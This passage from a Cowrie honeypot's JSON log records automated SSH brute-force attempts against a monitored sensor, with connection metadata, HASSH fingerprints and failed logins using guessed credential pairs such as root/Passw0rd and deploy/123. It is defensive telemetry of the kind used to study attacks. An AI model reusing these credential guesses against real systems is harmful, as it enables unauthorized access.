0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:25.099762Z","src_ip":"192.109.200.237","session":"f943c3ffcfe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:25.347304Z","src_ip":"192.109.200.237","session":"f943c3ffcfe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:26.432519Z","src_ip":"192.109.200.237","session":"f943c3ffcfe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46404,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d22c619fb51","protocol":"ssh","message":"New connection: 192.109.200.237:46404 (159.203.135.109:22) [session: 8d22c619fb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:28.132858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:28.137300Z","src_ip":"192.109.200.237","session":"8d22c619fb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:28.220842Z","src_ip":"192.109.200.237","session":"8d22c619fb51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:28.471678Z","src_ip":"192.109.200.237","session":"8d22c619fb51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:29.558015Z","src_ip":"192.109.200.237","session":"8d22c619fb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45570,"dst_ip":"159.203.135.109","dst_port":22,"session":"a42689fd27cf","protocol":"ssh","message":"New connection: 192.109.200.237:45570 (159.203.135.109:22) [session: a42689fd27cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:31.336352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:31.399111Z","src_ip":"192.109.200.237","session":"a42689fd27cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56390,"dst_ip":"10.17.0.5","dst_port":23,"session":"4954bf1f81d6","protocol":"telnet","message":"New connection: 192.119.13.58:56390 (10.17.0.5:23) [session: 4954bf1f81d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:31.471467Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:31.481022Z","src_ip":"192.109.200.237","session":"a42689fd27cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:31.729746Z","src_ip":"192.109.200.237","session":"a42689fd27cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:32.815102Z","src_ip":"192.109.200.237","session":"a42689fd27cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45586,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3df4062bf52","protocol":"ssh","message":"New connection: 192.109.200.237:45586 (159.203.135.109:22) [session: a3df4062bf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:34.464279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:34.468682Z","src_ip":"192.109.200.237","session":"a3df4062bf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:34.549716Z","src_ip":"192.109.200.237","session":"a3df4062bf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:34.794533Z","src_ip":"192.109.200.237","session":"a3df4062bf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:35.888885Z","src_ip":"192.109.200.237","session":"a3df4062bf52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45598,"dst_ip":"159.203.135.109","dst_port":22,"session":"e22ef52876f0","protocol":"ssh","message":"New connection: 192.109.200.237:45598 (159.203.135.109:22) [session: e22ef52876f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:37.567664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:37.575777Z","src_ip":"192.109.200.237","session":"e22ef52876f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:37.657650Z","src_ip":"192.109.200.237","session":"e22ef52876f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:38.027454Z","src_ip":"192.109.200.237","session":"e22ef52876f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:39.112115Z","src_ip":"192.109.200.237","session":"e22ef52876f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59774,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d914358376","protocol":"ssh","message":"New connection: 192.109.200.237:59774 (159.203.135.109:22) [session: b6d914358376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:40.849911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:40.854787Z","src_ip":"192.109.200.237","session":"b6d914358376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:40.938953Z","src_ip":"192.109.200.237","session":"b6d914358376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:41.190343Z","src_ip":"192.109.200.237","session":"b6d914358376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:42.276559Z","src_ip":"192.109.200.237","session":"b6d914358376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59788,"dst_ip":"159.203.135.109","dst_port":22,"session":"74c4e11c8844","protocol":"ssh","message":"New connection: 192.109.200.237:59788 (159.203.135.109:22) [session: 74c4e11c8844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:43.987807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:43.992875Z","src_ip":"192.109.200.237","session":"74c4e11c8844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:44.075300Z","src_ip":"192.109.200.237","session":"74c4e11c8844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:44.323711Z","src_ip":"192.109.200.237","session":"74c4e11c8844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:45.424584Z","src_ip":"192.109.200.237","session":"74c4e11c8844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54610,"dst_ip":"10.17.0.5","dst_port":22,"session":"469f79e7a2ee","protocol":"ssh","message":"New connection: 147.45.199.80:54610 (10.17.0.5:22) [session: 469f79e7a2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:46.763048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:46.767913Z","src_ip":"147.45.199.80","session":"469f79e7a2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:46.867980Z","src_ip":"147.45.199.80","session":"469f79e7a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59802,"dst_ip":"159.203.135.109","dst_port":22,"session":"841d101b547d","protocol":"ssh","message":"New connection: 192.109.200.237:59802 (159.203.135.109:22) [session: 841d101b547d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:47.099044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:47.103128Z","src_ip":"192.109.200.237","session":"841d101b547d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minicalibra","message":"login attempt [root/minicalibra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:47.175950Z","src_ip":"147.45.199.80","session":"469f79e7a2ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:47.184444Z","src_ip":"192.109.200.237","session":"841d101b547d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:47.519103Z","src_ip":"192.109.200.237","session":"841d101b547d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:48.276464Z","src_ip":"147.45.199.80","session":"469f79e7a2ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:48.603226Z","src_ip":"192.109.200.237","session":"841d101b547d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40818,"dst_ip":"159.203.135.109","dst_port":22,"session":"13b3cb000a0a","protocol":"ssh","message":"New connection: 192.109.200.237:40818 (159.203.135.109:22) [session: 13b3cb000a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:01:50.435298Z"}
